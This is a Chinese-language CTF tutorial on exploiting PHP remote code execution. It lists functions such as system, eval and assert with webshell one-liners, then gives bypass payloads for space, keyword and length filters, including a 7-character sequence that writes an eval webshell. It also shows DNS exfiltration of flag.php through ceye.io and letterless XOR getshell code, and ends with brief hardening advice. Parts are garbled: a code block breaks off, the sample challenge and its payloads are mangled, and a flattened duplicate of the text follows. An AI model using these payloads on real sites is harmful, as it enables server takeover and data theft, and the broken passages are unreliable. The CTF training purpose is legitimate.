CTF中WEB题——RCE
字数 1311 2025-08-15 21:32:28

CTF中WEB题——RCE漏洞利用与绕过技术详解

一、PHP命令执行相关函数

1. 直接执行系统命令的函数

  1. system()

    <?php system("whoami"); ?>
    
    • 执行命令并将结果直接输出到页面上
  2. exec()

    <?php echo exec("whoami"); ?>
    
    • 执行命令但默认不输出结果,需要通过echo显示
  3. popen()

    <?php
    $test = "ls /tmp/test";
    $fp = popen($test,"r");
    while (!feof($fp)) {
        $out = fgets($fp, 4096);
        echo $out;
    }
    pclose($fp);
    ?>
    
    • 打开进程通道,可以读取命令输出
  4. proc_open()

    <?php
    $test = "ipconfig";
    $array = array(
        array("pipe","r"),  // 标准输入
        array("pipe","w"),  // 标准输出
        array("pipe","w")   // 标准错误
    );
    $fp = proc_open($test,$array,$pipes);
    echo stream_get_contents($pipes[1]);
    proc_close($fp);
    ?>
    
    • 提供双向管道通信
  5. passthru()

    <?php passthru("whoami"); ?>
    
    • 执行命令并直接输出原始结果
  6. shell_exec()

    <?php echo shell_exec("whoami"); ?>
    
    • 执行命令并返回完整输出字符串
  7. 反引号运算符

    <?php echo `whoami`; ?>
    
    • 与shell_exec()功能相同
  8. pcntl_exec()

    <?php pcntl_exec("/bin/bash", array("whoami")); ?>
    
    • 需要Linux环境和pcntl扩展

2. 代码注入相关函数

  1. eval()

    <?php @eval($_POST['cmd']); ?>
    
    • 将字符串作为PHP代码执行
    • 需要分号结尾
  2. assert()

    <?php @assert($_POST['cmd']); ?>
    
    • 将参数作为PHP代码执行
    • 不需要分号结尾
  3. preg_replace()

    preg_replace("/test/e", $_POST["cmd"], "jutst test");
    
    • 使用/e修饰符时存在代码执行漏洞
  4. create_function()

    $func = create_function('', $_POST['cmd']);
    $func();
    
    • 创建匿名函数执行代码
  5. array_map()

    $func = $_GET['func'];
    $cmd = $_POST['cmd'];
    $array[0] = $cmd;
    $new_array = array_map($func, $array);
    echo $new_array;
    
    • 将用户函数应用到数组每个值
  6. call_user_func()

    call_user_func("assert", $_POST['cmd']);
    
    • 调用回调函数
  7. call_user_func_array()

    $cmd = $_POST['cmd'];
    $array[0] = $cmd;
    call_user_func_array("assert", $array);
    
    • 以数组形式调用回调函数
  8. array_filter()

    $cmd = $_POST['cmd'];
    $array1 = array($cmd);
    $func = $_GET['func'];
    array_filter($array1, $func);
    
    • 使用回调函数过滤数组
  9. uasort()

    usort($_GET, 'asse'.'rt');
    
    • PHP环境>=5.6可用

二、绕过技术

1. 空格绕过

  • $IFS$9
  • ${IFS}
  • %09 (PHP环境下)
  • 重定向符 <, >, <>

2. 命令分隔符

  • %0a (换行符,需要PHP环境)
  • %0d (回车符,需要PHP环境)
  • ; (连续指令)
  • & (不管第一条命令成功与否都执行第二条)
  • && (第一条成功才执行第二条)
  • | (第一条结果作为第二条输入)
  • || (第一条失败才执行第二条)

3. 关键字绕过

  1. 拼接绕过

    a=l;b=s;$a$b
    a=c;b=at;c=f;d=lag;$a$b ${c}${d}
    
  2. 编码绕过

    • Base64:
      echo "Y2F0IC9mbGFn"|base64 -d|bash
      
    • Hex:
      echo "0x636174202f666c6167" | xxd -r -p|bash
      
    • Oct/字节:
      $(printf "\154\163")  # ls
      $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")  # cat /flag
      
  3. 引号绕过

    c'a't test
    c"a"t test
    
  4. 反斜杠绕过

    ca\t test
    
  5. $PATH绕过

    `echo $PATH| cut -c 8,9`t test
    
  6. 通配符绕过

    cat t?st
    cat te*
    cat t[a-z]st
    cat t{a,b,c,d,e,f}st
    

4. 限制长度绕过

  1. 利用重定向创建文件

    >a
    ls -t
    sh a
    
  2. 使用管道拼接命令

    l\ s = ls
    
  3. 七字符限制绕过

    w>hp
    w>1.p\\
    w>d\>\\
    w>\ -\\
    w>e64\\
    w>bas\\
    w>7\|\\
    w>XSk\\
    w>Fsx\\
    w>dFV\\
    w>kX0\\
    w>bCg\\
    w>XZh\\
    w>AgZ\\
    w>waH\\
    w>PD9\\
    w>o\ \\
    w>ech\\
    ls -t|\sh
    

    等价于:

    echo PD9waHAgZXZhbCgkX0dFVFsxXSk7 | base64 -d > 1.php
    
  4. 四字符限制绕过

    • 通过创建多个短文件拼接命令
    • 使用rev命令反转命令顺序

5. 限制回显情况下的利用

  1. 判断命令是否执行

    ls;sleep 3
    
  2. 利用外部服务带出数据

    • HTTP请求: http://ceye.io/payloads
    • DNS请求
  3. 写shell

    echo > wget
    
  4. 带出数据

    echo `cat flag.php|sed s/[[:space:]]//`.php.xxxxxx.ceye.io
    

6. 无字母、数字getshell

  1. 异或方式
    $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
    $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
    $___=
    

\[__; $_($___[_]); // assert($_POST[_]); ``` 2. **取反方式** ```php ${~"\xa0\xb8\xba\xab"} // $_GET ``` 3. **自增方式** ```php $A = "A"; $A++; // B ``` ## 三、实例分析 ```php 50){ die("Too Long."); } if(preg_match("/[A-Za-z0-9_]+/",$code)){ die("Not Allowed."); } @eval($code); }else{ highlight_file(__FILE__); } //$hint = "php function getFlag() to get flag"; ?> ``` **Payload:** ``` code=getFlag $_GET"; ${GET[_]($_GET[__]);=getFlag($_GET[__])=getFlag(null); ``` **更短的Payload (28字符):** ``` $_1c%1e%0f%3d%17%1a%1c";$_();#getFlag() ``` ## 四、防御建议 1. 禁用危险函数:`system`, `exec`, `passthru`, `shell_exec`, `popen`, `proc_open`, `eval`, `assert`等 2. 使用白名单过滤输入 3. 对命令参数进行严格过滤和转义 4. 使用escapeshellarg()和escapeshellcmd()函数处理命令参数 5. 禁用反引号运算符 6. 设置open_basedir限制文件访问范围 7. 使用disable_functions禁用危险函数 通过以上技术点的详细解析,可以全面了解CTF中RCE题目的各种利用和绕过方法,以及相应的防御措施。\]

CTF中WEB题——RCE漏洞利用与绕过技术详解 一、PHP命令执行相关函数 1. 直接执行系统命令的函数 system() 执行命令并将结果直接输出到页面上 exec() 执行命令但默认不输出结果,需要通过echo显示 popen() 打开进程通道,可以读取命令输出 proc_ open() 提供双向管道通信 passthru() 执行命令并直接输出原始结果 shell_ exec() 执行命令并返回完整输出字符串 反引号运算符 与shell_ exec()功能相同 pcntl_ exec() 需要Linux环境和pcntl扩展 2. 代码注入相关函数 eval() 将字符串作为PHP代码执行 需要分号结尾 assert() 将参数作为PHP代码执行 不需要分号结尾 preg_ replace() 使用/e修饰符时存在代码执行漏洞 create_ function() 创建匿名函数执行代码 array_ map() 将用户函数应用到数组每个值 call_ user_ func() 调用回调函数 call_ user_ func_ array() 以数组形式调用回调函数 array_ filter() 使用回调函数过滤数组 uasort() PHP环境>=5.6可用 二、绕过技术 1. 空格绕过 $IFS$9 ${IFS} %09 (PHP环境下) 重定向符 < , > , <> 2. 命令分隔符 %0a (换行符,需要PHP环境) %0d (回车符,需要PHP环境) ; (连续指令) & (不管第一条命令成功与否都执行第二条) && (第一条成功才执行第二条) | (第一条结果作为第二条输入) || (第一条失败才执行第二条) 3. 关键字绕过 拼接绕过 编码绕过 Base64: Hex: Oct/字节: 引号绕过 反斜杠绕过 $PATH绕过 通配符绕过 4. 限制长度绕过 利用重定向创建文件 使用管道拼接命令 七字符限制绕过 等价于: 四字符限制绕过 通过创建多个短文件拼接命令 使用rev命令反转命令顺序 5. 限制回显情况下的利用 判断命令是否执行 利用外部服务带出数据 HTTP请求: http://ceye.io/payloads DNS请求 写shell 带出数据 6. 无字母、数字getshell 异或方式 取反方式 自增方式 三、实例分析 Payload: 更短的Payload (28字符): 四、防御建议 禁用危险函数: system , exec , passthru , shell_exec , popen , proc_open , eval , assert 等 使用白名单过滤输入 对命令参数进行严格过滤和转义 使用escapeshellarg()和escapeshellcmd()函数处理命令参数 禁用反引号运算符 设置open_ basedir限制文件访问范围 使用disable_ functions禁用危险函数 通过以上技术点的详细解析,可以全面了解CTF中RCE题目的各种利用和绕过方法,以及相应的防御措施。